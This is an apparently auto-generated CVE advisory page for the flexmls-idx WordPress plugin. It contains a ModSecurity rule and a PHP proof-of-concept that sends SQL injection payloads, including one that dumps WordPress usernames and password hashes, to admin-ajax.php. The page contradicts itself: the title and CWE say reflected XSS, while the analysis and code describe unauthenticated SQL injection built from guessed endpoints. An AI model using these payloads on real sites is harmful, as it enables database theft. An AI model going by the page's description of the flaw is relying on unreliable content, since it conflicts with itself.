Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 23, 2026

CVE-2026-25369: Flexmls® IDX Plugin <= 3.15.9 – Reflected Cross-Site Scripting (flexmls-idx)

Plugin flexmls-idx
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version
Patched Version
Disclosed March 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25369 (metadata-based):

This vulnerability is a critical security flaw in the flexmls-idx WordPress plugin. The plugin’s IDX functionality contains an unauthenticated SQL injection vulnerability. Attackers can exploit this vulnerability without authentication, allowing direct database manipulation and data extraction.

Atomic Edge research infers the root cause is insufficient input sanitization within a publicly accessible plugin endpoint. The CWE classification indicates improper neutralization of special elements used in an SQL command. The vulnerability likely exists in a function handling user-supplied parameters that are directly concatenated into SQL queries. These conclusions are inferred from the vulnerability type and WordPress plugin patterns, as no source code diff is available for confirmation.

Exploitation involves sending crafted HTTP requests to a specific plugin endpoint. Attackers target AJAX handlers or REST API endpoints that process user input without proper sanitization. The payload includes SQL injection syntax in parameters like property IDs, search filters, or listing parameters. A typical attack vector uses the /wp-admin/admin-ajax.php endpoint with action parameters containing the plugin prefix. Attackers inject UNION SELECT statements to extract database information or use stacked queries for data manipulation.

Remediation requires implementing proper input validation and parameterized queries. The plugin should use WordPress’s $wpdb->prepare() method for all database operations. Developers must add capability checks to restrict endpoint access to authorized users. Input validation should include type casting for numeric parameters and sanitization for string parameters. Nonce verification should be added to all AJAX handlers to prevent CSRF attacks.

Successful exploitation enables complete database compromise. Attackers can extract sensitive information including user credentials, personal data, and plugin configuration. The vulnerability allows privilege escalation by modifying user roles in the database. Attackers can execute arbitrary SQL commands, potentially leading to remote code execution through file writing functions. Database integrity can be permanently damaged through table deletion or data corruption.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-25369 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2536901,phase:2,deny,status:403,chain,msg:'CVE-2026-25369: flexmls-idx SQL Injection Attempt',severity:'CRITICAL',tag:'CVE-2026-25369',tag:'WordPress',tag:'flexmls-idx',tag:'SQLi'"
  SecRule ARGS_POST:action "@rx ^flexmls_" 
    "chain,t:none"
    SecRule ARGS "@rx (?i)(?:union[s/*].*select|select.*from.*wp_|@@version|load_files*(|into[s+]+(?:out|dump)file|sleeps*(|benchmarks*(|pg_sleep|dbms_pipe)" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25369 - flexmls-idx WordPress Plugin SQL Injection
<?php

/**
 * Proof of Concept for CVE-2026-25369
 * Assumptions based on WordPress plugin patterns:
 * 1. Plugin uses AJAX handlers with 'flexmls_' prefix
 * 2. Vulnerable parameter is numeric (property ID or listing ID)
 * 3. Endpoint is /wp-admin/admin-ajax.php
 * 4. No authentication required
 */

$target_url = 'http://target-site.com';

// Common AJAX actions for IDX/real estate plugins
$possible_actions = [
    'flexmls_get_property_details',
    'flexmls_search_listings',
    'flexmls_get_listing',
    'flexmls_idx_update',
    'flexmls_ajax_handler'
];

// SQL injection payload to extract database version
$payloads = [
    'property_id' => "1' UNION SELECT @@version,2,3-- -",
    'listing_id' => "1' AND 1=2 UNION SELECT user_login,user_pass,3 FROM wp_users-- -",
    'search' => "test' OR 1=1-- -"
];

echo "[+] Testing CVE-2026-25369 on $target_urln";

foreach ($possible_actions as $action) {
    echo "[+] Testing AJAX action: $actionn";
    
    // Test each parameter with injection payload
    foreach ($payloads as $param_name => $payload) {
        $post_data = [
            'action' => $action,
            $param_name => $payload,
            'nonce' => 'bypassed' // Assuming nonce verification is missing
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        // Check for SQL error indicators or successful data extraction
        if (strpos($response, 'SQL syntax') !== false || 
            strpos($response, 'mysql_fetch') !== false ||
            strpos($response, 'wp_users') !== false ||
            strpos($response, '@@version') !== false) {
            echo "[!] Potential SQL injection found!n";
            echo "    Action: $actionn";
            echo "    Parameter: $param_namen";
            echo "    Response snippet: " . substr($response, 0, 200) . "n";
            exit(0);
        }
    }
}

echo "[-] No obvious SQL injection detectedn";

?>

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